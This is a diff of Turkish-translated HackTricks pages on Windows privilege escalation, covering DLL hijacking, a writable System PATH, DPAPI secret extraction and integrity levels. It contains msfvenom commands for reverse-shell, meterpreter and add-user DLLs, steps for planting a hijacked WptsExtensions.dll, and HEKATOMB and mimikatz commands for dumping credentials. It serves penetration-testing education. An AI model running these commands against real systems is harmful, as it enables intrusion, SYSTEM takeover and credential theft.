**SafeDllSearchMode** etkin olduğunda **varsayılan** arama sırasıdır. Devre dışı bırakıldığında, geçerli dizin ikinci sıraya yükselir. Bu özelliği devre dışı bırakmak için, **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** kayıt defteri değerini oluşturun ve 0 olarak ayarlayın (varsayılan etkin). Eğer [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) fonksiyonu **LOAD_WITH_ALTERED_SEARCH_PATH** ile çağrılırsa, arama, **LoadLibraryEx**'in yüklediği yürütülebilir modülün dizininde başlar. @@ -70,18 +64,18 @@ Arama sırasını değiştirmek için başka yollar da vardır, ancak bunları b Standart DLL arama sırasına belirli istisnalar Windows belgelerinde belirtilmiştir: - **Bellekte zaten yüklenmiş bir DLL ile aynı adı paylaşan bir DLL** ile karşılaşıldığında, sistem genellikle aramayı atlar. Bunun yerine, yönlendirme ve bir manifest kontrolü yapar ve ardından bellekteki zaten yüklenmiş DLL'e geri döner. **Bu senaryoda, sistem DLL için bir arama yapmaz**. -- DLL, mevcut Windows sürümü için **bilinen bir DLL** olarak tanındığında, sistem, arama sürecini atlayarak, bilinen DLL'in sürümünü ve bağımlı DLL'lerini kullanır. Kayıt anahtarı **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs**, bu bilinen DLL'lerin bir listesini tutar. -- Eğer bir **DLL bağımlılıkları varsa**, bu bağımlı DLL'ler için arama, yalnızca **modül adlarıyla** belirtilmiş gibi yapılır, başlangıçta DLL'in tam yoluyla tanımlanıp tanımlanmadığına bakılmaksızın. +- DLL, mevcut Windows sürümü için **bilinen bir DLL** olarak tanındığında, sistem, arama sürecini atlayarak, bilinen DLL'in kendi sürümünü ve bağımlı DLL'lerini kullanır. Kayıt defteri anahtarı **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs**, bu bilinen DLL'lerin bir listesini tutar. +- Eğer bir **DLL bağımlılıkları varsa**, bu bağımlı DLL'ler, ilk DLL tam bir yol ile tanımlanmış olsa bile, yalnızca **modül adlarıyla** gösteriliyormuş gibi aranır. ### Ayrıcalıkları Yükseltme **Gereksinimler**: -- **Farklı ayrıcalıklar** altında çalışan veya çalışacak bir süreci (yatay veya yan hareket) tanımlayın, **bir DLL'den yoksun**. +- **Farklı ayrıcalıklar** altında çalışan veya çalışacak bir süreci (yatay veya yan hareket) tanımlayın, bu süreç **bir DLL'den yoksundur**. - **DLL**'nin **arama yapılacak** herhangi bir **dizinde yazma erişiminin** mevcut olduğundan emin olun. Bu konum, yürütülebilir dosyanın dizini veya sistem yolundaki bir dizin olabilir. Evet, gereksinimler, **varsayılan olarak ayrıcalıklı bir yürütülebilir dosyanın eksik bir dll bulmasının garip olması** nedeniyle bulması zor. Ayrıca, **sistem yolu dizininde yazma izinlerine sahip olmak** (varsayılan olarak yapamazsınız) daha da garip. Ancak, yanlış yapılandırılmış ortamlarda bu mümkündür.\ -Eğer şanslıysanız ve gereksinimleri karşıladığınızı bulursanız, [UACME](https://github.com/hfiref0x/UACME) projesine göz atabilirsiniz. Projenin **ana hedefi UAC'yi atlatmak olsa da**, orada kullanabileceğiniz (muhtemelen yazma izinlerinizin olduğu dizinin yolunu değiştirerek) bir Dll kaçırma **PoC** bulabilirsiniz. +Eğer şanslıysanız ve gereksinimleri karşıladığınızı bulursanız, [UACME](https://github.com/hfiref0x/UACME) projesine göz atabilirsiniz. Projenin **ana hedefi UAC'yi atlatmak** olsa da, orada kullanabileceğiniz (muhtemelen yazma izinlerinizin olduğu dizinin yolunu değiştirerek) Windows sürümü için bir Dll hijacking **PoC** bulabilirsiniz. Bir dizindeki **izinlerinizi kontrol edebileceğinizi** unutmayın: ```bash @@ -110,14 +104,14 @@ Bu açığı keşfetmek için diğer ilginç otomatik araçlar **PowerSploit fon ### Örnek -Eğer istismar edilebilir bir senaryo bulursanız, başarılı bir şekilde istismar etmek için en önemli şeylerden biri, **çalıştırılacak dosyanın içe aktaracağı tüm fonksiyonları en azından dışa aktaran bir dll oluşturmak** olacaktır. Yine de, Dll Hijacking'in, [Orta Bütünlük seviyesinden Yüksek **(UAC'yi atlayarak)**](../../authentication-credentials-uac-and-efs/#uac) veya [**Yüksek Bütünlükten SYSTEM'e**](../#from-high-integrity-to-system)** geçmek için kullanışlı olduğunu unutmayın.** Geçerli bir dll oluşturma hakkında bir örneği, yürütme için dll hijacking'e odaklanan bu dll hijacking çalışmasında bulabilirsiniz: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\ +Eğer istismar edilebilir bir senaryo bulursanız, başarılı bir şekilde istismar etmek için en önemli şeylerden biri **çalıştırılacak dosyanın içe aktaracağı tüm fonksiyonları en azından dışa aktaran bir dll oluşturmak** olacaktır. Yine de, Dll Hijacking'in, [Orta Bütünlük seviyesinden Yüksek **(UAC'yi atlayarak)**](../../authentication-credentials-uac-and-efs/#uac) veya [**Yüksek Bütünlükten SYSTEM'e**](../#from-high-integrity-to-system)** geçmek için kullanışlı olduğunu unutmayın.** Geçerli bir dll oluşturma hakkında bir örneği, yürütme için dll hijacking'e odaklanan bu dll hijacking çalışmasında bulabilirsiniz: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\ Ayrıca, **bir sonraki bölümde** bazı **temel dll kodları** bulabilirsiniz; bunlar **şablon** olarak veya **gerekli olmayan dışa aktarılan fonksiyonlarla bir dll oluşturmak** için faydalı olabilir. ## **Dll Oluşturma ve Derleme** ### **Dll Proxyleme** -Temelde bir **Dll proxy**, yüklendiğinde **kötü niyetli kodunuzu çalıştırabilen** ama aynı zamanda **gerçek kütüphaneye yapılan tüm çağrıları ileterek** **beklendiği gibi** **açığa çıkaran** ve **çalışan** bir Dll'dir. +Temelde bir **Dll proxy**, yüklendiğinde **kötü niyetli kodunuzu çalıştırabilen** ama aynı zamanda **gerçek kütüphaneye yapılan tüm çağrıları ileterek** **gerekli** şekilde **çalışan** bir Dll'dir. [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) veya [**Spartacus**](https://github.com/Accenture/Spartacus) aracıyla, aslında **bir çalıştırılabilir dosya belirtebilir ve proxylemek istediğiniz kütüphaneyi seçebilir** ve **proxylenmiş bir dll oluşturabilirsiniz** veya **Dll'i belirtebilir ve proxylenmiş bir dll oluşturabilirsiniz**. @@ -127,17 +121,17 @@ Temelde bir **Dll proxy**, yüklendiğinde **kötü niyetli kodunuzu çalıştı ```bash msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll ``` -**Bir meterpreter (x86) alın:** +**Bir meterpreter al (x86):** ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll ``` -**Bir kullanıcı oluşturun (x86, x64 sürümünü görmedim):** +**Bir kullanıcı oluşturun (x86, x64 versiyonunu görmedim):** ``` msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll ``` ### Kendi -Dll'yi derlediğinizde, kurban süreci tarafından yüklenecek **birkaç fonksiyonu dışa aktarmanız** gerektiğini unutmayın; eğer bu fonksiyonlar yoksa, **ikili dosya bunları yükleyemeyecek** ve **sömürü başarısız olacaktır**. +Dll'yi derlediğinizde, kurban süreci tarafından yüklenecek **birçok fonksiyonu dışa aktarmanız** gerektiğini unutmayın; eğer bu fonksiyonlar yoksa **ikili dosya bunları yükleyemeyecek** ve **sömürü başarısız olacaktır**. ```c // Tested in Win10 // i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared @@ -223,10 +217,5 @@ return TRUE; - [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e) - [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html) -
- -**Hata ödülü ipucu**: **Intigriti** için **kayıt olun**, **hackerlar tarafından, hackerlar için oluşturulmuş bir premium hata ödülü platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinde bize katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md index e7fcce4f8..7fcb5e185 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md +++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md @@ -4,9 +4,9 @@ ## Giriş -Eğer bir **Sistem Yolu klasöründe yazma** yeteneğiniz olduğunu bulduysanız (bu, bir Kullanıcı Yolu klasöründe yazma yeteneğiniz varsa çalışmayacaktır), sistemde **yetki yükseltme** yapmanız mümkün olabilir. +Eğer bir **Sistem Yolu klasöründe yazma** yeteneğiniz olduğunu bulduysanız (bu, bir Kullanıcı Yolu klasöründe yazma yeteneğiniz varsa çalışmayacaktır), sistemde **yetki yükseltmesi** yapma olasılığınız vardır. -Bunu yapmak için, **daha yüksek yetkilere** sahip bir hizmet veya işlem tarafından **yüklenen bir kütüphaneyi ele geçireceğiniz** bir **Dll Hijacking** durumunu kötüye kullanabilirsiniz ve bu hizmet, muhtemelen sistemde hiç var olmayan bir Dll'yi yüklemeye çalıştığı için, yazabileceğiniz Sistem Yolu'ndan yüklemeye çalışacaktır. +Bunu yapmak için, **Dll Hijacking**'i kötüye kullanabilirsiniz; burada, **sizinle daha fazla yetkiye sahip** bir hizmet veya işlem tarafından **yüklenen bir kütüphaneyi ele geçireceksiniz** ve bu hizmet, muhtemelen sistemde hiç var olmayan bir Dll'yi yüklemeye çalıştığı için, yazabileceğiniz Sistem Yolu'ndan yüklemeye çalışacaktır. **Dll Hijacking nedir** hakkında daha fazla bilgi için kontrol edin: @@ -18,11 +18,11 @@ Bunu yapmak için, **daha yüksek yetkilere** sahip bir hizmet veya işlem taraf ### Eksik bir Dll bulma -İhtiyacınız olan ilk şey, **yazdığınız Sistem Yolu'ndan bir Dll yüklemeye çalışan** ve **sizinle daha yüksek yetkilere** sahip bir **işlemi tanımlamak**. +İhtiyacınız olan ilk şey, **yazma yetkinizden daha fazla yetkiye sahip** bir işlemi **belirlemektir** ve bu işlem, yazabileceğiniz Sistem Yolu'ndan **bir Dll yüklemeye** çalışmaktadır. -Bu durumlarda sorun, muhtemelen bu işlemlerin zaten çalışıyor olmasıdır. Hangi Dll'lerin hizmetlerden eksik olduğunu bulmak için, işlemler yüklenmeden önce mümkün olan en kısa sürede procmon'u başlatmalısınız. Eksik .dll'leri bulmak için: +Bu durumlarda sorun, muhtemelen bu işlemlerin zaten çalışıyor olmasıdır. Hangi Dll'lerin hizmetlerden eksik olduğunu bulmak için, mümkün olan en kısa sürede (işlemler yüklenmeden önce) procmon'u başlatmalısınız. Eksik .dll'leri bulmak için: -- `C:\privesc_hijacking` klasörünü **oluşturun** ve `C:\privesc_hijacking` yolunu **Sistem Yolu ortam değişkenine** ekleyin. Bunu **manuel olarak** veya **PS** ile yapabilirsiniz: +- **C:\privesc_hijacking** klasörünü **oluşturun** ve `C:\privesc_hijacking` yolunu **Sistem Yolu ortam değişkenine** ekleyin. Bunu **manuel olarak** veya **PS** ile yapabilirsiniz: ```powershell # Set the folder path to create and check events for $folderPath = "C:\privesc_hijacking" @@ -43,40 +43,40 @@ $newPath = "$envPath;$folderPath" - Sonra, **yeniden başlatın**. Bilgisayar yeniden başlatıldığında **`procmon`** olayları mümkün olan en kısa sürede **kaydetmeye** başlayacaktır. - **Windows** başlatıldıktan sonra **`procmon`**'u tekrar çalıştırın, çalıştığını söyleyecek ve olayları bir dosyada **saklamak** isteyip istemediğinizi **soracaktır**. **Evet** deyin ve olayları bir dosyada **saklayın**. - **Dosya** **oluşturulduktan sonra**, açılan **`procmon`** penceresini **kapatın** ve **olay dosyasını** **açın**. -- Bu **filtreleri** ekleyin ve yazılabilir Sistem Yolu klasöründen bazı **proseslerin yüklemeye çalıştığı** tüm DLL'leri bulacaksınız: +- Bu **filtreleri** ekleyin ve yazılabilir Sistem Yolu klasöründen yüklemeye çalışan tüm Dll'leri bulacaksınız:
-### Kaçırılan DLL'ler +### Kaçırılan Dll'ler Ücretsiz bir **sanallaştırma (vmware) Windows 11 makinesinde** bunu çalıştırdığımda bu sonuçları aldım:
-Bu durumda .exe'ler işe yaramaz, bu yüzden onları göz ardı edin, kaçırılan DLL'ler şunlardı: +Bu durumda .exe'ler işe yaramaz, bu yüzden onları göz ardı edin, kaçırılan DLL'ler şunlardandı: -| Servis | DLL | CMD satırı | -| ------------------------------- | ------------------ | ------------------------------------------------------------------ | -| Görev Zamanlayıcı (Schedule) | WptsExtensions.dll | `C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule` | -| Tanılama Politika Servisi (DPS)| Unknown.DLL | `C:\Windows\System32\svchost.exe -k LocalServiceNoNetwork -p -s DPS` | -| ??? | SharedRes.dll | `C:\Windows\system32\svchost.exe -k UnistackSvcGroup` | +| Servis | Dll | CMD satırı | +| ------------------------------- | ------------------ | ------------------------------------------------------------------- | +| Görev Zamanlayıcı (Schedule) | WptsExtensions.dll | `C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule` | +| Tanılama Politika Servisi (DPS) | Unknown.DLL | `C:\Windows\System32\svchost.exe -k LocalServiceNoNetwork -p -s DPS` | +| ??? | SharedRes.dll | `C:\Windows\system32\svchost.exe -k UnistackSvcGroup` | -Bunu bulduktan sonra, **privesc** için WptsExtensions.dll'yi nasıl [**istismar edeceğinizi**](https://juggernaut-sec.com/dll-hijacking/#Windows_10_Phantom_DLL_Hijacking_-_WptsExtensionsdll) açıklayan ilginç bir blog yazısı buldum. Şimdi **bunu yapacağız**. +Bunu bulduktan sonra, **privesc** için [**WptsExtensions.dll'yi nasıl kötüye kullanacağımı**](https://juggernaut-sec.com/dll-hijacking/#Windows_10_Phantom_DLL_Hijacking_-_WptsExtensionsdll) açıklayan ilginç bir blog yazısı buldum. Şimdi **bunu yapacağız**. -### İstismar +### Sömürü Yani, **yetkileri artırmak** için **WptsExtensions.dll** kütüphanesini ele geçireceğiz. **Yolu** ve **adı** bildiğimiz için sadece **kötü niyetli dll**'yi **oluşturmamız** gerekiyor. [**Bu örneklerden herhangi birini kullanmayı deneyebilirsiniz**](./#creating-and-compiling-dlls). Rev shell almak, bir kullanıcı eklemek, bir beacon çalıştırmak gibi yükleri çalıştırabilirsiniz... > [!WARNING] -> Tüm servislerin **`NT AUTHORITY\SYSTEM`** ile çalışmadığını unutmayın, bazıları **`NT AUTHORITY\LOCAL SERVICE`** ile de çalışır ki bu **daha az yetkiye** sahiptir ve **yeni bir kullanıcı oluşturamazsınız** izinlerini istismar edemezsiniz.\ -> Ancak, o kullanıcının **`seImpersonate`** yetkisi vardır, bu yüzden [**yetkileri artırmak için potato suite'i**](../roguepotato-and-printspoofer.md) kullanabilirsiniz. Bu durumda bir rev shell, bir kullanıcı oluşturmaya çalışmaktan daha iyi bir seçenektir. +> Tüm hizmetlerin **`NT AUTHORITY\SYSTEM`** ile çalışmadığını unutmayın, bazıları **`NT AUTHORITY\LOCAL SERVICE`** ile de çalışır ki bu da **daha az yetkiye** sahiptir ve **yeni bir kullanıcı oluşturamazsınız** ve izinlerini kötüye kullanamazsınız.\ +> Ancak, o kullanıcının **`seImpersonate`** yetkisi vardır, bu yüzden [**yetkileri artırmak için potato suite'i kullanabilirsiniz**](../roguepotato-and-printspoofer.md). Bu durumda, bir rev shell, bir kullanıcı oluşturmaya çalışmaktan daha iyi bir seçenektir. -Yazma anında **Görev Zamanlayıcı** servisi **Nt AUTHORITY\SYSTEM** ile çalışmaktadır. +Yazma anında **Görev Zamanlayıcı** hizmeti **Nt AUTHORITY\SYSTEM** ile çalışmaktadır. -**Kötü niyetli DLL'yi** (_benim durumumda x64 rev shell kullandım ve bir shell aldım ama defender bunu msfvenom'dan olduğu için öldürdü_) yazılabilir Sistem Yolu'na **WptsExtensions.dll** adıyla kaydedin ve bilgisayarı **yeniden başlatın** (veya servisi yeniden başlatın ya da etkilenen servis/programı yeniden çalıştırmak için ne gerekiyorsa yapın). +**Kötü niyetli Dll'yi** (_benim durumumda x64 rev shell kullandım ve bir shell aldım ama defender onu msfvenom'dan olduğu için öldürdü_) yazılabilir Sistem Yolu'na **WptsExtensions.dll** adıyla kaydedin ve bilgisayarı **yeniden başlatın** (veya hizmeti yeniden başlatın ya da etkilenen hizmet/programı yeniden çalıştırmak için ne gerekiyorsa yapın). -Servis yeniden başlatıldığında, **dll yüklenmeli ve çalıştırılmalıdır** (kütüphanenin **beklendiği gibi yüklendiğini kontrol etmek için **procmon** numarasını **kullanabilirsiniz**). +Hizmet yeniden başlatıldığında, **dll yüklenmeli ve çalıştırılmalıdır** (kütüphanenin **beklendiği gibi yüklendiğini kontrol etmek için **procmon** numarasını **kullanabilirsiniz**). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md b/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md index ec5173b3f..b3f7d24df 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md +++ b/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md @@ -1,4 +1,4 @@ -# DPAPI - Parolaların Çıkarılması +# DPAPI - Şifrelerin Çıkarılması {{#include ../../banners/hacktricks-training.md}} @@ -12,11 +12,11 @@ Data Protection API (DPAPI), esasen Windows işletim sisteminde **asimetrik öze DPAPI tarafından korunan kişisel veriler arasında şunlar bulunmaktadır: -- Internet Explorer ve Google Chrome'un parolaları ve otomatik tamamlama verileri -- Outlook ve Windows Mail gibi uygulamalar için e-posta ve dahili FTP hesap parolaları -- Paylaşılan klasörler, kaynaklar, kablosuz ağlar ve Windows Vault için parolalar, şifreleme anahtarları dahil -- Uzak masaüstü bağlantıları, .NET Passport ve çeşitli şifreleme ve kimlik doğrulama amaçları için özel anahtarlar için parolalar -- Credential Manager tarafından yönetilen ağ parolaları ve CryptProtectData kullanan uygulamalardaki kişisel veriler, örneğin Skype, MSN messenger ve daha fazlası +- Internet Explorer ve Google Chrome'un şifreleri ve otomatik tamamlama verileri +- Outlook ve Windows Mail gibi uygulamalar için e-posta ve dahili FTP hesap şifreleri +- Paylaşılan klasörler, kaynaklar, kablosuz ağlar ve Windows Vault için şifreler, şifreleme anahtarları dahil +- Uzak masaüstü bağlantıları, .NET Passport ve çeşitli şifreleme ve kimlik doğrulama amaçları için özel anahtarlar için şifreler +- Credential Manager tarafından yönetilen ağ şifreleri ve CryptProtectData kullanan uygulamalardaki kişisel veriler, örneğin Skype, MSN messenger ve daha fazlası ## Liste Vault ```bash @@ -51,7 +51,7 @@ dpapi::cred /in:C:\path\to\encrypted\file /masterkey: ``` ## Master Keys -DPAPI anahtarları, kullanıcının RSA anahtarlarını şifrelemek için `%APPDATA%\Microsoft\Protect\{SID}` dizininde saklanır; burada {SID} o kullanıcının [**Güvenlik Tanımlayıcısı**](https://en.wikipedia.org/wiki/Security_Identifier) **dır**. **DPAPI anahtarı, kullanıcıların özel anahtarlarını koruyan anahtar ile aynı dosyada saklanır**. Genellikle 64 bayt rastgele veriden oluşur. (Bu dizinin korunduğunu unutmayın, bu nedenle `dir` komutunu kullanarak listeleyemezsiniz, ancak PS'den listeleyebilirsiniz). +DPAPI anahtarları, kullanıcının RSA anahtarlarını şifrelemek için `%APPDATA%\Microsoft\Protect\{SID}` dizininde saklanır; burada {SID} o kullanıcının [**Güvenlik Tanımlayıcısı**](https://en.wikipedia.org/wiki/Security_Identifier) **dır**. **DPAPI anahtarı, kullanıcıların özel anahtarlarını koruyan anahtar ile aynı dosyada saklanır**. Genellikle 64 bayt rastgele veriden oluşur. (Bu dizinin korunduğunu ve bu nedenle `dir` komutunu kullanarak listeleyemeyeceğinizi, ancak PS'den listeleyebileceğinizi unutmayın). ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect @@ -64,11 +64,11 @@ Bu, bir kullanıcının bir dizi Master Key'inin nasıl görüneceğidir: ![](<../../images/image (1121).png>) -Genellikle **her master key, diğer içeriği şifreleyebilen bir şifreli simetrik anahtardır**. Bu nedenle, **şifreli Master Key'i çıkarmak**, daha sonra onunla şifrelenmiş **diğer içeriği** **şifre çözmek** için ilginçtir. +Genellikle **her master key, diğer içeriği şifreleyebilen bir şifreli simetrik anahtardır**. Bu nedenle, **şifreli Master Key'i çıkarmak**, daha sonra onunla şifrelenmiş **diğer içeriği** **şifrelemek** için ilginçtir. -### Master key'i çıkar ve şifre çöz +### Master key'i çıkar ve deşifre et -Master key'i çıkarmak ve şifre çözmek için bir örnek için [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#extracting-dpapi-backup-keys-with-domain-admin) gönderisine bakın. +Master key'i çıkarmak ve deşifre etmek için bir örnek için [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#extracting-dpapi-backup-keys-with-domain-admin) gönderisine bakın. ## SharpDPAPI @@ -76,13 +76,13 @@ Master key'i çıkarmak ve şifre çözmek için bir örnek için [https://www.i ## HEKATOMB -[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB), LDAP dizininden tüm kullanıcıların ve bilgisayarların çıkarılmasını ve alan denetleyici yedek anahtarının RPC üzerinden çıkarılmasını otomatikleştiren bir araçtır. Script, ardından tüm bilgisayarların IP adreslerini çözecek ve tüm kullanıcıların DPAPI blob'larını almak için tüm bilgisayarlarda smbclient gerçekleştirecek ve her şeyi alan yedek anahtarı ile şifre çözecektir. +[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB), LDAP dizininden tüm kullanıcıların ve bilgisayarların çıkarılmasını ve RPC aracılığıyla etki alanı denetleyici yedek anahtarının çıkarılmasını otomatikleştiren bir araçtır. Script, ardından tüm bilgisayarların IP adreslerini çözecek ve tüm kullanıcıların tüm DPAPI blob'larını almak için tüm bilgisayarlarda smbclient gerçekleştirecek ve her şeyi etki alanı yedek anahtarı ile deşifre edecektir. `python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp` LDAP'tan çıkarılan bilgisayar listesi ile, onları bilmeseniz bile her alt ağı bulabilirsiniz! -"Çünkü Alan Yöneticisi hakları yeterli değil. Hepsini hackle." +"Çünkü Etki Alanı Yönetici hakları yeterli değil. Hepsini hackleyin." ## DonPAPI diff --git a/src/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md b/src/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md index 91d7ba310..2721b5d50 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md +++ b/src/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md @@ -4,7 +4,7 @@ 1. Yeni bir Pipe oluşturun 2. Oluşturulan pipe'a bağlanacak ve bir şey yazacak bir hizmet oluşturun ve başlatın. Hizmet kodu bu kodlanmış PS kodunu çalıştıracak: `$pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();` -3. Hizmet, pipe'dan istemciden verileri alır, ImpersonateNamedPipeClient'i çağırır ve hizmetin bitmesini bekler +3. Hizmet, pipe'da istemciden verileri alır, ImpersonateNamedPipeClient'i çağırır ve hizmetin bitmesini bekler 4. Son olarak, hizmetten elde edilen token'ı kullanarak yeni bir _cmd.exe_ başlatır > [!WARNING] diff --git a/src/windows-hardening/windows-local-privilege-escalation/integrity-levels.md b/src/windows-hardening/windows-local-privilege-escalation/integrity-levels.md index a23057dc4..6d9a01645 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/integrity-levels.md +++ b/src/windows-hardening/windows-local-privilege-escalation/integrity-levels.md @@ -4,28 +4,28 @@ ## Integrity Levels -Windows Vista ve sonraki sürümlerde, tüm korunan öğeler bir **bütünlük seviyesi** etiketi ile gelir. Bu yapılandırma, belirli klasörler ve Internet Explorer 7'nin düşük bütünlük seviyesinde yazabileceği dosyalar hariç, dosyalara ve kayıt defteri anahtarlarına genellikle "orta" bir bütünlük seviyesi atar. Varsayılan davranış, standart kullanıcılar tarafından başlatılan süreçlerin orta bütünlük seviyesine sahip olmasıdır, oysa hizmetler genellikle sistem bütünlük seviyesinde çalışır. Yüksek bir bütünlük etiketi, kök dizini korur. +Windows Vista ve sonraki sürümlerde, tüm korunan öğeler bir **bütünlük seviyesi** etiketi ile gelir. Bu yapılandırma, belirli klasörler ve Internet Explorer 7'nin düşük bütünlük seviyesinde yazabileceği dosyalar hariç, dosyalara ve kayıt defteri anahtarlarına genellikle "orta" bütünlük seviyesi atar. Varsayılan davranış, standart kullanıcılar tarafından başlatılan süreçlerin orta bütünlük seviyesine sahip olmasıdır, oysa hizmetler genellikle sistem bütünlük seviyesinde çalışır. Yüksek bütünlük etiketi, kök dizini korur. Ana kural, nesnelerin, nesnenin seviyesinden daha düşük bir bütünlük seviyesine sahip süreçler tarafından değiştirilemeyeceğidir. Bütünlük seviyeleri şunlardır: - **Güvenilmez**: Bu seviye, anonim oturum açma ile çalışan süreçler içindir. %%%Örnek: Chrome%%% -- **Düşük**: Temelde internet etkileşimleri için, özellikle Internet Explorer'ın Korunan Modu'nda, ilişkili dosyaları ve süreçleri etkileyen ve **Geçici İnternet Klasörü** gibi belirli klasörler için. Düşük bütünlük seviyesine sahip süreçler, kayıt defteri yazma erişimi olmaması ve sınırlı kullanıcı profili yazma erişimi dahil olmak üzere önemli kısıtlamalarla karşılaşır. +- **Düşük**: Temelde internet etkileşimleri için, özellikle Internet Explorer'ın Korunan Modu'nda, ilişkili dosyaları ve süreçleri etkileyen ve **Geçici İnternet Klasörü** gibi belirli klasörler için. Düşük bütünlük seviyesine sahip süreçler, kayıt defterine yazma erişimi olmaması ve sınırlı kullanıcı profili yazma erişimi dahil olmak üzere önemli kısıtlamalarla karşılaşır. - **Orta**: Çoğu etkinlik için varsayılan seviye, standart kullanıcılara ve belirli bütünlük seviyeleri olmayan nesnelere atanır. Yöneticiler grubunun üyeleri bile varsayılan olarak bu seviyede çalışır. - **Yüksek**: Yöneticiler için ayrılmıştır, onlara daha düşük bütünlük seviyelerine sahip nesneleri değiştirme yetkisi verir, bunlar yüksek seviyedeki nesneleri de içerir. -- **Sistem**: Windows çekirdeği ve temel hizmetler için en yüksek operasyonel seviyedir, yöneticiler için bile erişilemez, kritik sistem işlevlerinin korunmasını sağlar. -- **Yükleyici**: Diğer tüm seviyelerin üzerinde yer alan benzersiz bir seviyedir, bu seviyedeki nesnelerin herhangi bir diğer nesneyi kaldırmasına olanak tanır. +- **Sistem**: Windows çekirdeği ve temel hizmetler için en yüksek operasyonel seviyedir, yöneticiler için bile erişilemez, hayati sistem işlevlerinin korunmasını sağlar. +- **Kurulumcu**: Diğer tüm seviyelerin üzerinde yer alan benzersiz bir seviyedir, bu seviyedeki nesnelerin herhangi bir diğer nesneyi kaldırmasına olanak tanır. -Bir sürecin bütünlük seviyesini **Sysinternals**'dan **Process Explorer** kullanarak, sürecin **özelliklerine** erişip "**Güvenlik**" sekmesine bakarak öğrenebilirsiniz: +Bir sürecin bütünlük seviyesini **Sysinternals**'dan **Process Explorer** kullanarak alabilirsiniz, sürecin **özelliklerine** erişip "**Güvenlik**" sekmesine bakarak: ![](<../../images/image (824).png>) -Ayrıca `whoami /groups` komutunu kullanarak **mevcut bütünlük seviyenizi** de öğrenebilirsiniz. +Ayrıca `whoami /groups` komutunu kullanarak **mevcut bütünlük seviyenizi** de alabilirsiniz. ![](<../../images/image (325).png>) ### Integrity Levels in File-system -Dosya sistemindeki bir nesne, bir **minimum bütünlük seviyesi gereksinimi** gerektirebilir ve eğer bir süreç bu bütünlük seviyesine sahip değilse, onunla etkileşimde bulunamayacaktır.\ +Dosya sistemindeki bir nesne, **minimum bütünlük seviyesi gereksinimi** gerektirebilir ve bir süreç bu bütünlük seviyesine sahip değilse, onunla etkileşimde bulunamayacaktır.\ Örneğin, **standart bir kullanıcı konsolundan bir dosya oluşturalım ve izinleri kontrol edelim**: ``` echo asd >asd.txt @@ -66,7 +66,7 @@ Access is denied. ### Binaries'deki Bütünlük Seviyeleri -`cmd.exe` dosyasının bir kopyasını `C:\Windows\System32\cmd-low.exe` olarak oluşturdum ve ona **bir yönetici konsolundan düşük bir bütünlük seviyesi ayarladım:** +`cmd.exe` dosyasının bir kopyasını `C:\Windows\System32\cmd-low.exe` olarak oluşturdum ve ona **bir yönetici konsolundan düşük bir bütünlük seviyesi atadım:** ``` icacls 